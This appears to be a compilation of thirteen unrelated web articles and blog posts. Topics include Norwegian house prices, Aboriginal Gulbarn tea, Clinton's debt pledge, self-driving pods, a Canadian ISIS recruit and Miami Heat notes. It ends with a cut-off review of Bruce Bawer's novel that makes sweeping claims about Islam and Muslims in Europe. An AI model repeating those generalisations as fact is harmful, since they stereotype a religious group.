-Norway's one of the most expensive countries in the world, and house prices have remained at a record high this September, which is why the same article gives a list of fourteen places with the cheapest house prices in Norway. No information is given on how interesting they are to live in though, so we'll have to turn to other sources for that.  The average price nationwide is 24,900 kroner per square metre (one square metre is about ten square feet), or $4300 USD, and the most expensive part of the country is Oslo and Bærum with average prices at 33,800 and 33,000 kroner ($5825 and $5690). Outside of Oslo the most expensive locations are Stavanger and Sandnes with 30,600 ($5275) and 27,000 ($4655).  And now for the fourteen cheapest parts of the country.  #14: Sandefjord - average price 19,900 kroner ($3430 USD) per square metre  Population 42,333 and seems to be famous for having Viking ships, spas, and whaling. There is also a brewery and a chocolate factory here.  #13: Møre og Romsdal - average price 19,400 kroner ($3345 USD) per square metre  The largest city in this region is Ålesund with a population of 41,385, and is famous for its large concentration of Jugendstil architecture. The region uses Nynorsk as its official linguistic standard (as opposed to Bokmål, which is what most people learning Norwegian learn).  #12: Agder outside Kristiansand - average price 19,400 kroner ($3345 USD) per square metre  That's Vest-Agder - Kristiansand is the capital of this region, so everywhere but that. Vest-Agder has a population of 166,976 and Kristiansand is about half that. Besides that the largest settlement seems to be about 13,000 people or so.  Next to it is another region with Agder in the name called Aust-Augder - total population is 106,842 of which 41,241 is in the capital called Arendal, which looks like this.  Arendal is a port town with a large jazz festival and some other yearly music festivals. Seems to have a large number of churches too.  #11: Buskerud outside Drammen - average price 19,100 kroner ($3290 USD) per square metre  Buskerud has a population of 253,006 of which 60,145 live in Drammen.  This is the town of Hurum along the coast, with a population of 9,011. Kongsberg is another town in the region with a population of 23,997.  #10: Rural Vestfold - average price 19,000 kroner ($3275 USD) per square metre  Vestfold is located fairly close to Oslo with a road leading directly into Oslo and thus real estate in the cities there would be expensive, but apparently the areas outside the cities aren't that bad. The picture above is of Holmestrand, population 9,949 and thus probably one of the places to which the list is referring.  #9: Fredrikstad - average price 18,900 kroner ($3260 USD) per square metre  Fredrikstad is a relatively large city (by Norwegian standards) with a population of 72,935 and located to the southeast of Oslo, pretty close to the Swedish border. It has an old town which is Northern Europe's best preserved old town. A blog post here seems quite impressed with Fredrikstad. Fredrikstad is right next to Sarpsborg (#5 on the list).  #8: Larvik - average price 18,400 kroner ($3,170 USD) per square metre  Larvik is located within Vestfold, right along the southwestern edge. It's a ways out of Oslo but it still lies on the road leading directly into the city. Bottled water is produced here.  #7: Northern Norway outside Tromsø - average price 18,300 kroner ($3,155 USD) per square metre  This is Bodø, population 46,049. It lies just north of the Arctic Circle so you can see the sun 24 hours a day during the summer, and 24 hours of darkness during the darkest part of the winter, each for about a month at a time. It's also a very windy city.  #6: Trøndelag outside of Trondheim: average price 18,000 kroner ($3,105 USD) per square metre  Trøndelag is where you start to get into the northern part of the country and has a total population of 418,453 of which 168,257 live in Trondheim. Outside of Trondheim the largest city is called Stjørdal:  with a population of 20,616. Stjørdal is quite close (35 km) to Trondheim which gives it a growing population as a satellite city, and it has a lot of birds and an interesting castle.  #5: Sarpsborg - average price 17,300 kroner ($2,985 USD) per square metre  Remember Fredrikstad (#9)? This city is in the same region, and located even closer to the main road that goes northwest to Oslo and southeast into Sweden (eventually to Gothenburg/Götenborg). Sarpsborg has a population of 51,813 and together with Fredrikstad they form the fifth largest urban area in Norway. Sarpsborg is the home of the brewery Borg Bryggerier, which produces these beers. Bethlehem (yes, the Bethlehem) is one of its sister cities.  #4: Rural Østfold - average price 16,300 kroner ($2,810 USD) per square metre  Østfold is where Fredrikstad and Sarpsborg are located, and you can see how prices fall even further when getting out of the cities altogether.  That's Rakkestad, population 7,232. It's basically located in the same area as the other two cities mentioned but smaller and a bit more out of the way, as it's off the main road that leads into Oslo to the northwest and Gothenburg to the southeast in Sweden. Rakkestad has a lot of farming and forestry. Though not related to Rakkestad in particular, the Wikipedia page on the community has the following: "Everyone in Norway has a right of access to and passage through uncultivated land in the countryside, regardless of who owns it...You may also put up a tent for the night, but you must keep at least 150 metres (492.1 ft) away from the nearest house or cabin. If you want to stay for more than two nights in the same place, you must ask the landowner's permission."  #3: Oppland outside of Lillehammer - average price 16,300 kroner ($2,810 USD) per square metre  Oppland has a population of 183,851 of which only 25,070 live in Lillehammer, but Lillehammer was the site of the 1994 Olympics.  Just next to Lillehammer though is Gjøvik, which actually has a larger population (28,627).  It's also located alongside the same lake and is further south so less out of the way than Lillehammer and closer to Oslo.  #2: Telemark - average price 15,800 kroner ($2,725 USD) per square metre  This is Skien, the largest city in Telemark with a population of 50,595. It's fairly close to Larvik (that's #8) but is a bit farther away from Oslo. The page on Skien on the Norwegian Wikipedia is more detailed than most other cities its size, with quite a few pictures.  And now we get to the cheapest part of Norway:  #1: Hedmark outside of Hamar - average price 15,300 kroner ($2,640 USD) per square metre  Hedmark is located northeast of Oslo, and just east of Oppland where Lillehammer is located. Total population is 189,586 of which 27,593 live in Hamar.  This is Elverum, the next largest city with a population of 19,665. There is a forest museum here. Elverum also happens to be extremely close to Hamar, which looks like this.  So there you have it, the fourteen cheapest places in Norway in terms of real estate. When living abroad it's important to choose a location that balances cost of living with opportunity, so simply finding the cheapest place to live is no help if opportunities to work are severely restricted. Norway also has a lot of linguistic variation, so keep in mind that people living in places off the beaten track will likely be incomprehensible at first, even if you've put in the time to learn a lot of Bokmål before going.  Personally my favourite from looking at the list alone would probably be #9, Fredrikstad. Seems to have a nice old town, is fairly close to Oslo, also next to Sarpsborg, Sweden is easily accessible too. Ålesund also seems to be quite interesting for those that are interested in Nynorsk and/or architecture and enjoy the cool weather. Here's another nice image of Ålesund either at dawn or dusk.
-Traditional bush medicine finds new life as Gulbarn tea  Updated  In the remote Roper region of the Northern Territory, the chance snapping of a branch has had incredible ripple effects for the community who live there.  It was 2013, and Samara Billy was showing off her community to representatives from Indigenous business facilitator Enterprise Learning Projects (ELP).  The community of Minyerri was keen to start an arts centre, but in doing so, stumbled upon an opportunity to bring one of their traditions to the tea market.  "I took them out bush, and we picked a bit of Gulbarn and I told them how we use it," Ms Billy said, outside the now up-and-running arts centre.  "You have to just boil it up and wait for it to cool, or you can just have a shower with it.  "It's good to relax your body, if you're feeling a bit stressed."  Gulbarn grows wild in and around Minyerri, about 580 kilometres south-east of Darwin.  For generations, Gulbarn has been primarily used as a comforting drink to soothe coughs and colds.  It does not contain caffeine, but with the same kinds of properties and flavonoids as green tea, it is now taking on new life as a drink for any time of day, and is attracting interest from buyers across Australia, China and Taiwan.  "I think Gulbarn is a really good example of the intersection of western market knowledge, and traditional Aboriginal knowledge, and the possibilities that come about when people from different walks of life have the chance to explore enterprise opportunities," Laura Egan, founder of ELP said.  "There's demand from across Australia, from existing tea companies and tea entrepreneurs that let us know that this is gold really, and it's just a matter of how they want to grow the business." - Laura Egan, Founder ELP  Ms Billy said she initially did not think anyone would be interested in a little bush plant.  Now, her sights are set on growing the business, little by little.  "I mean it's been there the whole time, but nobody wanted to use it," she said.  "I'm hoping that we can sell more, but I want to start small first - then we can build it up little by little."  The tea is picked, dried and packaged in Minyerri with the help of the community.  Packing days are an all-in community endeavour, and Ms Billy laughed that many could not wait until packing day on Thursdays.  "When it's Monday they come in and say 'oh when are we going to do Gulbarn packaging?'"  The business is not without its challenges though. Internet access is an ongoing issue, and at this stage the online sales are managed by ELP from Katherine.  "Internet access in the community is a challenge, and the business would be really well supported by having access to internet services which would enable us then to Skype, and maintain regular contact from our base here in Katherine," Ms Egan said.  ELP enterprise facilitator Lillian Tait, said that while Gulbarn tea had exceeded expectations, it was also moving at a pace that was directed by the community.  "So if people don't want to package, then there's no tea, and that's fine too," she said.  The business is not exclusively run by women, but it is being spearheaded by the women in the community.  "Samara is hugely inspirational, she's a real trailblazer within Minyerri community and she's showing all of the qualities of a brilliant entrepreneur and is a real role model for the young women in Minyerri," Ms Egan said.  The success is also giving others in the community the motivation and confidence to come forward with other business ideas.  "Gulbarn is just one of their many bush plants that's delicious as tea, and so lots of people have been coming out of the woodwork saying 'have you tasted this?' So that's really exciting - we're hoping to explore the other options soon," Ms Tait said.  "Gulbarn is a great example, but it's really just scratching the surface of what's possible in terms of grass-roots Aboriginal enterprise."  Topics: small-business, environmentally-sustainable-business, indigenous-aboriginal-and-torres-strait-islander, mataranka-0852  First posted
-Hillary Clinton promised at a fundraiser Friday evening that her economic agenda would not add a penny to the national debt, which currently stands at $19.7 trillion.  "When people ask me, 'So how are you going to pay for infrastructure jobs and paid family leave?', I say, 'Well, I'm telling you how I'm paying for everything," she said at a campaign event in Seattle, drawing a contrast with GOP nominee Donald Trump.  "I am not going to add a penny to the national debt," she vowed. "We're going to go where the money is. We're going to make the wealthy pay their fair share, and we're finally going to close those corporate loopholes."  The Democratic nominee often promise on the campaign stump that she will fund her White House agenda by going after the very wealthy.  "I'll tell you how we're going to pay for it," she said in August, referring specifically to her proposed economic policies. "We're going where the money is. We are going after the super wealthy, we are going after corporations, we are going after Wall Street so they pay their fair share."  Despite her pledge, a study out this week said Clinton's plan to tax more and spend more may in fact increase the national debt by hundreds of billions of dollars. That study said she wants to $1.4 trillion in new tax revenue over a 10-year period, and spend about the same amount. But when dynamic scoring is used, her tax hikes could slow the economy down to the point that only $663 billion is collected, not enough to offset her spending plans.  Clinton has been under pressure from Democrats to pursue a more progressive agenda, especially after Sen. Bernie Sanders, I-Vt., gave her a close primary race with a platform of higher taxes and an expanded federal government.  Her promise to go after the very wealthy and crack down on Wall Street has drawn criticism from those who've noted she made millions of dollars giving closed-door speeches to top financial firms, including Goldman Sachs and Bank of America.  A review of the Clintons' 2015 tax returns show they took in a combined $6.72 million from paid speeches. Their 2015 tax returns, which were released last week, also showed they paid an effective federal tax rate of 34.2 percent, and that they had an adjusted gross income of $10.6 million. Much of that came from paid speeches, and many of those speeches were to wall Street firms.
-The U.K. town of Milton Keynes isn't waiting for Google or General Motors to bring autonomous cars to the masses. Instead, it's enlisting a fleet of 100 self-driving pods to run between the city's central train station, shopping center, and office parks beginning in 2015.  The autonomous pods will carry two passengers, plus shopping bags, luggage, or a baby stroller, and will travel up to 12 mph in dedicated lanes inside the city.  The first 100 pods are set to take to the streets in 2015 as part of a £65 million infrastructure investment by Milton Keynes, with a full roll-out of the pods coming in 2017, when passengers will pay £2 per trip and summon their rides through a smartphone app.  The pods – similar to those used at Heathrow airport since 2011 – will be fully electric, with motors mounted at each wheel and charging handled by an inductive system set up along the route.  Like Google, BMW, and Mercedes-Benz' autonomous vehicles, the pods will use a combination of GPS, sensors, and high-definition stereo cameras to navigate the city and avoid pedestrians, but according to the Daily Mail, the initial plan is to have specific lanes for the vehicles and a joystick to control the pod if something goes awry.  However, the town's pub crawlers should take note that during the first tests, passengers will be responsible for the vehicle during the ride, so loading up on a few pints before heading back to the train station isn't allowed.
-December 10, 2011 - L4D Team  Looking around at holiday decorations and sales, we noticed an alarming lack of zombies.We need to fix that.To help you spread the zombie cheer through the holiday seasons, we have put the games on sale today for 75% off. This includes Left 4 Dead Left 4 Dead 2 , the bundles, the four packs – everything is 75% off today!We also put all our L4D & L4D2 merchandise on sale at the Valve store . This includes the holiday cards at 75% discount! ( L4D1 L4D2 ) We also have shirts, posters, mouse pads and more on sale.One of the most requested gift items we see is the health kit back pack. We don’t sell them but Glitch Gaming Apparel does. If you use the coupon code “I Love L4D2”, you will get $4 off any order.I know what some of you are thinking, you are NOT a last minute gift kind of person. You are a preparing for the Zombie Apocalypse kind of person. You prepare early. Your 2011 gifts were delivered last June. You are picking out your Halloween decorations this week. You're thinking about your 2012 gifts already. We respect that. For you we have an articulated action figure boomer . It was created by NECA and will go on sale early next spring for under $20 at major retailers. Just in time for your 2012 holiday gift buying.
-Public Safety Minister Steven Blaney says Canadian officials revoked the passport of John Maguire, an Ottawa-area man who joined ISIS in Syria and who is calling for Muslims to carry out lone-wolf attacks in Canada.  In a video released over the weekend, Maguire urges his fellow Muslim countrymen to carry out attacks on Canadian targets. The 23-year-old is identified in the video as Abu Anwar al-Canadi and speaks in English.  Maguire was already reportedly under investigation by the RCMP. It's not clear whether his passport was seized or when it was revoked, although one MP said it was in the "later part of the winter" of 2013, shortly after he left Canada.  "His passport was revoked after he left the country, so his ability to return is very difficult ... though as you saw in the video, I don't think this guy has any intention of coming back to Canada," said James Bezan, parliamentary secretary to the minister of national defence, in an interview with CBC News Network's Power & Politics.  John Maguire of Ottawa travelled to Syria to join ISIS about two years ago. Online he calls himself 'Yahya' and says he is going to have the 'reward of jihad.' (Facebook) The revocation means Maguire can't travel across borders and if he tried to use his passport to re-enter Canada, it would be seized.  A spokesman for Blaney said the passport was invalidated as soon as officials became aware of Maguire's ties to ISIS.  Blaney said an internal government measure used to assess threats hasn't been heightened as a result of the video.  Arrest by Canadian officials unlikely  Blaney pointed to legislation the government plans to bring to the House to give police more power to deal with cases like Maguire's.  "We are currently working on legislation that would provide more tools to our law enforcement agencies so they are better able to track, build evidence and lay charges," Blaney said.  Justice Minister Peter MacKay called the Maguire case disturbing and said it speaks to the need for vigilance. But Canadian officials likely won't arrest Maguire, he said.  "That is highly unlikely. What we need to do, obviously, to the greatest extent possible, is to monitor his activities," MacKay said on his way into the House of Commons on Monday.  Justice Minister Peter MacKay takes questions from reporters on Monday about the Ottawa man who travelled to Syria to join ISIS. (Chris Rands/CBC) "The RCMP of course are examining things such as recognizance and peace bonds that are preventative and pre-emptive, and we're looking at legislation, as you know, that would address that through such things as lowering [evidentiary] thresholds and allowing for police to have greater ability to intervene in cases such as this where there have been very pronounced and very specific threats that have been made."  Maguire's video references Michael Zehaf-Bibeau's October attack in which he killed an honour guard at the National War Memorial in Ottawa before storming Parliament Hill, where he was shot and killed.  'Why wasn't he arrested?'  Abu Anwar al-Canadi does not appear to be under duress in the video. CBC News does not know if he made the statement of his own free will.  Liberal public safety critic Wayne Easter raised a number of questions, including whether Maguire is one of the approximately80 Canadians who have returned to the country after leaving to participate in suspected terror-related activities.  "If he was being monitored, why did he have the opportunity to leave the country and try and draw others in to an extremist cause and try and turn others against our country?" Easter said.  "Why wasn't he arrested under the authorities that are already there under the laws of Canada? That's what I can't understand."  Easter said there are existing laws that could have been used to arrest or detain someone like Maguire.  "They can't go over to Syria and arrest the guy, but should they have arrested him before he left?" he said.
-Every year we have a little family tradition where we all go on a kayaking trip for the day – my brother Oakley and I included.  So early in the morning we pack up our gear and kayaks and head up river. At the start, Oakley and I pick out which kayaks (or paddlers) we’d like to command, yet this always ends up changing once we start hopping to other kayaks or falling off and being picked up by someone else.. Sometimes even ending up on the same one!  We prefer to each captain a different kayak though so we can keep track of who’s ahead of who. If you haven’t realized by now, brotherly love is often a matter of competition. You may also notice that in many of the following photos Oakley is all wet, which is of course because he’s always falling in.  I kept telling him not to get so far over the front tip of the kayak. Yet, he was always just so excited that he’d be hanging right over the edge – so much so that his balance would be compromised at the slightest irregular movement in the kayak, thus leading to a little dip in the river.  I didn’t make too big a deal of it, because after all, it was an excellent source of entertainment throughout the trip.  Anyway, whoever we’re with, you can tell we get frustrated with our paddler at times for not keeping a satisfactory speed – hence the need for us to switch boats occasionally. For instance, I can count on Dad for good speed bursts (which however makes the kayak a little unstable for me), while Mum is good at a nice continuous stroke.  Occasionally, Oakley and I would end up on the same kayak. Being the eldest and the lifetime-appointed expedition leader, I held the position at the front as commander and captain.  (As a sidenote, I think that at this point in my celebrity career I need not even mention that I’m flexing – it’s a given).  At times I worried if taking the very front spot of the kayak was a good idea. Oakley was always trying to butt in from the side, but I didn’t want to give it up. It ended up that we were both barely balancing on the tip of the kayak while Oakley kept pushing me closer and closer to the narrowing tip.  I’m not sure if he just didn’t realize that he was putting me in a precarious position or if this was some tactic of his to toss me overboard as an “accident”. That would be more like a wire haired to do. Anyway, it didn’t work – as I never fell off (from that).  In fact, I’d say it backfired because Oakley ended up falling in a few times while trying to edge me off. I couldn’t help but lick my chops in satisfaction!  After a couple hours of kayaking, we stopped for a nice break and lunch on a sand spit of the river. This is a great time for us to go stretch our legs, run around a bit, chase some squeaky balls, go for a swim, and crunch some sticks.  Oakley had a blast retrieving the ball in the water, as the little guy just loves to swim. I prefer to just let him retrieve it for me (I’m not as much a water guy).  We also soon discovered that when you throw a ball in shallow water, Oakley has a very nice ‘water-gallop’, which you can see in this video – as filmed with GoPro:  Then it was back to the kayaks for the final stretch!  When we weren’t on separate kayaks competing for leadership of the pack, it let us better appreciate our beautiful surroundings. Here we are together, no worries in the world except what might lie around the next river bend.  As we slid under the last bridge before the exit, Oakley lost his footing and somersaulted frontwards into the water. It was the best thing ever, and I so wish someone caught it on film.  Oakley just loves the water though, and no matter how many times he fell in, it didn’t phase him one bit, while I on the hand will shiver and demand to be wrapped in a blanket for at least 10 minutes before re-emerging to take my position as captain once again.  So that was our kayaking adventure. I look forward to next year’s trip!  My vacation with Oakley may be over, but I have one more adventure of ours to share with you, so the summer’s not over yet!  Keep paddlin’,  ~ Crusoe  My New Book! Featuring my worldly travels far and wide, from Europe to Mexico and more, and the whole story of my surgery and recovery! Rated 5 stars on Amazon! Get Yours!  Comments  What fun activities do you do with your dog? Let me know in the comments!  comments
-Two Baltimore-area residents have been charged with attempting to disarm a security guard when they tusseled early Monday on Delaware's Dewey Beach.  John P. Clancy, 21, of Towson and Julia C. Price of Baltimore, 21, were charged with attempting to remove a firearm from a law enforcement officer, second degree conspiracy and offensive touching, Delaware State Police Master Corporal Gary Fournier wrote in a news release.  The security guard, who was not identified in the release, was unharmed.  The couple approached the 52-year-old guard at about 3 a.m. as he was partrolling Indian Beach and asked if they could get a ride to Ocean City, Fournier wrote.  The guard offered to call a taxi and told them to wait by his patrol car. The couple began to walk towards a nearby house, and the guard warned them that if they continued, they would be arrested for trespassing on private property.  Clancy pushed the guard and kicked his feet out from under him, the release said, causing both men to fall to the ground. Price allegedly jumped on top of the guard and tried several times to remove his gun from his holster.  A witness to the struggle called the Delaware State police, who arrested the couple, who were being held at Sussex Correctional Institution.
-Tech Article Title Author Date Home Guide to Wheel Scuff Repair NASA Racer 2002 Note that although this is a Porsche painted wheel, the WURTH wheel paint (silver) is used for ALL German painted wheels. Same techniques apply for an S4:  Well, there I was...backing into a parking space against a curb and I was in a hurry and I heard it...SCRAPE! One fraction of a second...barely moving. Got out and looked at the rim...OOOOOOWWWWW!  Well, no need to fear...I've done this enough times to have a easy way to do home repairs with a few simple items. Note that this ONLY covers light scuffs, this isn't meant to be used to repair a DAMAGED wheel or one where the scuffs cause significant damage to the rim. This is only for those annoying superficial scuffs like happened to me more times than I care to admit. Now there are PLENTY of GOOD services which can do this for VERY reasonable money...most folks will happily do this but I'm inpatient and have the free time (generally) to spend a couple of hours doing this and it REALLY takes the edge off donking my wheels when I know I can simply fix it myself.  So if you are interested...here's what you need:  I have a can of scratch-filler primer, the WURTH wheel paint and clear (got mine at Performance Products), some paint thinner, Bondo spot putty (or equivalent), sand paper and some 240 and 400 grit sandpaper (if you are REALLY anal...get some 600 grit).  Step 1. Clean...clean...clean...and did I mention CLEAN!  This is one of the most important steps. Use paint thinner to THOROUGHLY clean the ENTIRE area around the damage...you need to get ANY wax or polish or anything off the wheel...I'm going to remind you EVERY step...I probably end up wiping down these surfaces 10 or more times before painting...if you don't do this, the rest is pointless. Also, we want to work ONLY on the area that's damaged...don't go nuts and try to paint half your wheel on the car...for this technique to succeed we want to sand and paint the area only IMMEDIATELY around the damage.  2. Sand and Putty  I like to START by masking the tire from the wheel...get the masking tape WELL behind the rim. Next, sand the area to a nice "feather" with 240 grit sandpaper and wipe some spot putty on. IMPORTANT...this ENTIRE project will work best if the wheel is in the sun and its a nice warm day...the drying time of spot putty is minutes but if it's cold or damp, this project is likely to not work out too well. Remember...keep your sanding to the IMMEDIATE area around the damage. Trust me on this.  So once you've done the first round of putty, switch to the finer of your sandpaper (400 grit in my case) and sand and putty until it FEELS and LOOKS flush. Note that I use the paper wrapped around a piece of wood to make a flat sanding block. It's best to sand with a flat block to get the smoothest finish:  Note that up to this point...including waiting 5 to 10 minutes between coats of putty that the whole project has taken about 40 minutes.  4. Masking and primering:  Okay, here's where a bit of laziness is going to create an entire new clay-bar project. This metallic paint will GET EVERYWHERE. I'm talking permanently attached to the fender on the opposite corner of the car...mask CAREFULLY and COVER THE WHOLE CAR with a sheet or equivalent.  I've used the thick scratch-filler primer and sanded it and put a bit more putty on. Note that this is the first place where I use the NASA technique. Immediately after I spray the primer (or paint) I clean ALL the overspray off the spokes of the wheel (clean rag and paint thinner) and the area around the inside of the rim...I do NOT want to try to get paint to smoothly adhere to the entire wheel! We just want to paint the REPAIR. Only the clear coat will be sprayed without wiping off the overspray. Wait for the primer to fully dry and lightly sand it with 400 or 600 grit sandpaper.  5. Painting  VITAL: READ THE CAN...if you try to use this paint in cold temperatures (or in damp conditions) it's going to be a mess...shake the can for a minute at LEAST and push the spray nozzle as you sweep across and release at the end. This is roughly the distance I used the can from the wheel...I HIGHLY recommend painting some scrap something to get used to the distances and thickness this paint sprays.  Now we SHOULD be nearly done BUT (as always) Pete got inpatient and sprayed the clear WAY too soon and lifted the paint and messed it all up. This is NO BIGGIE...take a deep breath, get out your rag and the paint thinner and take it all off. The thinner I used did not eat into the primer so I simply cleaned the wheel (again) and got to respray the silver.  Here's the paint lifting because of the clear being sprayed too soon.  Okay, fast forward a few minutes...I had to roll the car forward a bit to keep it in the sun and I had cleaned (and let fully dry) the wheel and RE-sprayed the silver. Now I'm using the NASA technique on the silver paint and CAREFULLY removing the overspray:  AND here's the nicely painted wheel. I'm going to not be an idiot and let the paint dry OVERNIGHT (like I knew I should) and do the clear coat and I'll post that tomorrow.
-(Marcio Jose Sanchez/AP Photo)  San Franciscans may be forced to wear clothes outside of their homes and some nude activists aren't pleased.  City lawmakers are scheduled to vote Tuesday on an ordinance that, if passed, would make it illegal for anyone over the age of 5 to expose their genitals in public. Exemptions will be made for parades and festivals held under a city permit, according to the ordinance.  A group of activists filed a federal lawsuit against the city on Wednesday, asking that a judge issue a temporary restraining order to stop the vote on Tuesday and provide the court enough time to determine the merits of the case.  One of the plaintiffs, Mitch Hightower, has organized an annual "nude-in" demonstration over the past several years.  "The 'Nude In' is intended to promote a spirit of tolerance, peace and fellowship among the attendees," the lawsuit said, claiming that if enacted, the ordinance would violate the constitutional right of free speech.  "It attempts to criminalize nudity even when engaged in for the purpose of political advocacy," the lawsuit said.  George Davis, who ran for mayor in 2007 and District 6 supervisor in 2010, both times as the "nude candidate," joined the suit, claiming he uses nudity "as part of his political expression."  If the ordinance is enacted, first time offenders would be fined $100. The fine increases to $200 if it's the second offense within 12 months. The third time a nudist is caught, they could be slapped with a $500 fine and potentially charged with a misdemeanor.
-Michael Moynihan went to The Amazing Meeting and wrote a long feature in Newsweek on James Randi, skepticism, and the movement’s overlap (or not) with atheism:  The activists of TAM see themselves as waging a broad, multifront battle to drag American culture, inch by inch, away from the nonscientific and the nonlogical. This turns out to be a surprisingly uphill struggle. Probably the majority of Americans believe in some degree of what JREF’s founder, James Randi, calls “woo-woo.” (“Please use woo-woo,” he instructs me. “I’m trying to get it into extensive use.”) In 2005, for instance, Gallup found that 73 percent of Americans subscribed to at least one paranormal belief. Television personalities like John Edward earn huge audiences by purporting to commune with the dead. Numerous Americans swear by homeopathy, ingest supplements with no proven medical benefit, or believe, against all available evidence, that genetically modified organisms might transform humans into tumor-covered golems.  As an outsider, Moynihan did a nice job of picking up on the unstated themes of the conference as well as a lot of the on-topic chatter that occurs outside official conference hours. (Feminism is notably absent from his piece. As are women, period. Of all the skeptics mentioned, discussed, or quoted in the piece, I didn’t spot a single female voice… which just seems weird.)  The hardest thing to digest, even though it’s admittedly accurate, is the idea that we’re “sort of insufferable” for questioning things that people really want to believe. There’s an art to getting people to hear you out when you point out that their beliefs are silly and many of us lack that skill. Yet, we do a really good job of making people aware of the issue and helping them recognize bullshit when it’s right in front of them. Moynihan, after spending time at TAM, even writes about how he picked up on one fraudster’s tricks and counteracted them.  It’s a surprisingly balanced piece. Not bad, coming from the same magazine that had this as its cover story last October:
-Observations from Saturday night's 93-90 exhibition loss to the Orlando Magic at the Amway Center:  -- Not completely sold on Hassan Whiteside and Kelly Olynyk side by side in the starting lineup.  -- Because there will be far greater challenges to defend at power forward than Aaron Gordon.  -- But it is a way to maximize the court time for each.  -- And probably deserves more scrutiny.  -- By starting Olynyk alongside Whiteside, the Heat got back to inserting James Johnson and Tyler Johnson together in the first period.  -- That had James Johnson getting some early minutes at center, with Justise Winslow at power forward.  -- Winslow then shifted to small forward when Olynyk returned, the first time he has been cast in that role this preseason.  -- This is why you need preseason, to explore.  -- Which matters far more than the score.  -- The rotation, with Goran Dragic given the night off, also gave Josh Richardson the opportunity to show his versatility.  -- He certainly was in rhythm.  -- He is a different player when fully healthy.  -- He was that player Saturday.  -- Erik Spoelstra stayed with same top nine players at the top of Saturday's rotation (minus Dragic), stressing the need for his regulars to get minutes together.  -- The non-rotation players did not enter until the midpoint of the fourth quarter.  -- When we saw the likes of Erik McCree and Jordan Mickey.  -- Gordon got the better of Olynyk in the early matchup at power forward.  -- But Olynyk did not appear overwhelmed defending on the perimeter, especially when he knew at the outset he had Whiteside behind him.  -- Tyler Johnson ended the game wearing a stim unit, thus his lack of action.  -- Magic coach Frank Vogel said he was approaching the game somewhat close to the vest, with the teams to open the regular season against each other.  -- Like the Heat, the Magic have the dilemma of whether they can afford to play one of their big men at power forward at times. The Magic are loaded in the middle with Nikola Vucevic, Bismack Biyombo and now Marreese Speights.  -- Of whether Speights can play power forward in today's small-ball era, Vogel said, "There are occasions where you can slide him over to the four, but not too many in this era."  -- Richardson opened at point guard, with rest previously expected for Dragic after a busy September with the Slovenia championship team at EuroBasket.  -- Of what Jonathon Simmons adds to his roster, Vogel said of the offseason free-agent acquisition from the Spurs, "Toughness and grit and little bit of swagger."  -- Vogel said he expects more this season from point guard Elfrid Payton, if only because it is the first time he has had the same coach and same system for consecutive years.  -- Heat captain Udonis Haslem said he was not surprised that former teammate and close friend Dwyane Wade was able to score 20 points in 22 minutes of the Cavaliers' Friday exhibition game.  -- "I know how much work he puts in in the offseason to keep himself physically ready and prepared to go out there and perform at a high level," Haslem said "So I'm not surprised at what he's been able to do or what he's able to still do."  -- Haslem said the two keep the talk about age to a minimum. Wade is 35, Haslem 37.  -- "At the end of the day," Haslem said, "I'm older than him so there's not really much I can say."  -- Asked what it would be like if he were to be called on for such productivity in the preseason, Haslem smiled, "I just don't recover as quick as I used to."  -- For Richardson the trip proved to be a disappointment after he learned that the U.S. men's national team was playing a World Cup qualifying match in Orlando on Friday night. Richardson is among the Heat's most passionate soccer fans.  -- "I'm sick I missed it," he said at the morning shootaround of the rout of Panama.  -- "I didn't know it was there," he said. "My boy from Miami called me and told me about it."  -- Richardson said he went to several games during the offseason in Los Angeles, as well as the summer version of El Classico at Hard Rock Stadium.  -- Richardson counts himself as a fan of the U.S. national team and Arsenal of the Premier League.  -- Why Arsenal? "I never really watched a lot of soccer when I was younger, but in college my teammates would play a lot of FIFA and I started playing that."  -- Asked what his plans would be if Miami finally gets an MLS team, he said, without hesitation, "season tickets."  -- U.S. men's national soccer coach Bruce Arena was in the building after Friday's crucial victory here over Panama.  -- As was Christian Pulisic.  CAPTION Spoelstra: No need to show anger to appease outsiders. Spoelstra: No need to show anger to appease outsiders. CAPTION Spoelstra: No need to show anger to appease outsiders. Spoelstra: No need to show anger to appease outsiders. CAPTION Dwyane Wade: Braids a tribute to Iverson Dwyane Wade: Braids a tribute to Iverson CAPTION Miami Heat head coach Erik Spoelstra says his team showed grit in loss to the Phoenix Suns. Miami Heat head coach Erik Spoelstra says his team showed grit in loss to the Phoenix Suns. CAPTION Miami Heat guard Dwyane Wade says his team's loss to the Phoenix Suns hurt his team and their hopes of getting to the playoffs. Miami Heat guard Dwyane Wade says his team's loss to the Phoenix Suns hurt his team and their hopes of getting to the playoffs. CAPTION Miami guard Josh Richardson talks about the obstacles that lead hs team's loss to the Phoenix Suns. Miami guard Josh Richardson talks about the obstacles that lead hs team's loss to the Phoenix Suns.  iwinderman@sunsentinel.com. Follow him at twitter.com/iraheatbeat or facebook.com/ira.winderman
-Many people have called attention to the plight of gays in the Islamic world, and the death penalty that Muhammad, the prophet of Islam, mandates for them. But it is one thing to provide facts, and quite another, much more compelling thing to tell a story. In his new novel The Alhambra, Bruce Bawer tells a story of the reality of Islam in Europe, for gays and everyone else, that should open a great many eyes that have until now remained resolutely closed.  Bawer is the author of the 1997 book Stealing Jesus: How Fundamentalism Betrays Christianity -- an eloquent, impassioned rebuke to the judgmental fundamentalism in which, Bawer contended, all too many Christians place adherence to dogma, in particular that of the sinfulness of homosexual activity, above the demands of Christian charity. The following year he moved to Europe, where he thought he would find prevailing more tolerant attitudes toward gay rights, which he did -- until Europe’s rapidly increasing Muslim population began to change that.  In 2006, Bawer published While Europe Slept: How Radical Islam is Destroying the West from Within, and in 2009 its follow-up, Surrender: Appeasing Islam, Sacrificing Freedom. In them, he warned of how official appeasement of Europe’s Muslims was impinging upon the freedoms that Europeans had hitherto enjoyed, and would continue to do so. Islamic law has a vision of women’s rights, gay rights, and more that is diametrically opposed to Western principles of human rights, and these two radically contrasting visions would inevitably come into ever-greater conflict.  Nothing changed, of course. The immigration rates grew, and the appeasement accelerated. Now Bawer has written a novel, illustrating in a thriller exactly what he has been sounding the alarm about.  Steve Disch is an American playwright who relocates to Amsterdam, where he expresses his relief to finally be away from the influence of the religious right, which he says is all-pervasive, even in Hollywood.  But in Amsterdam, even with the religious right far away, all is not well. He has several unpleasant encounters with Muslims, including being mugged by one, and one of his Dutch friends advises him: “Get a Koran. Read it.” After he learns a bit more, he asks a Dutch friend: “I mean, is this a good thing? These ideas coming here?” The Dutchman answers: “It’s their culture.”  Steve is incredulous: “But what about your culture? What about the liberal Netherlands? And gay rights? Doesn’t this represent a threat to everything you believe in? And have worked for?”  His friend tells him: “It’s very hard to talk about it. … You can almost say it’s 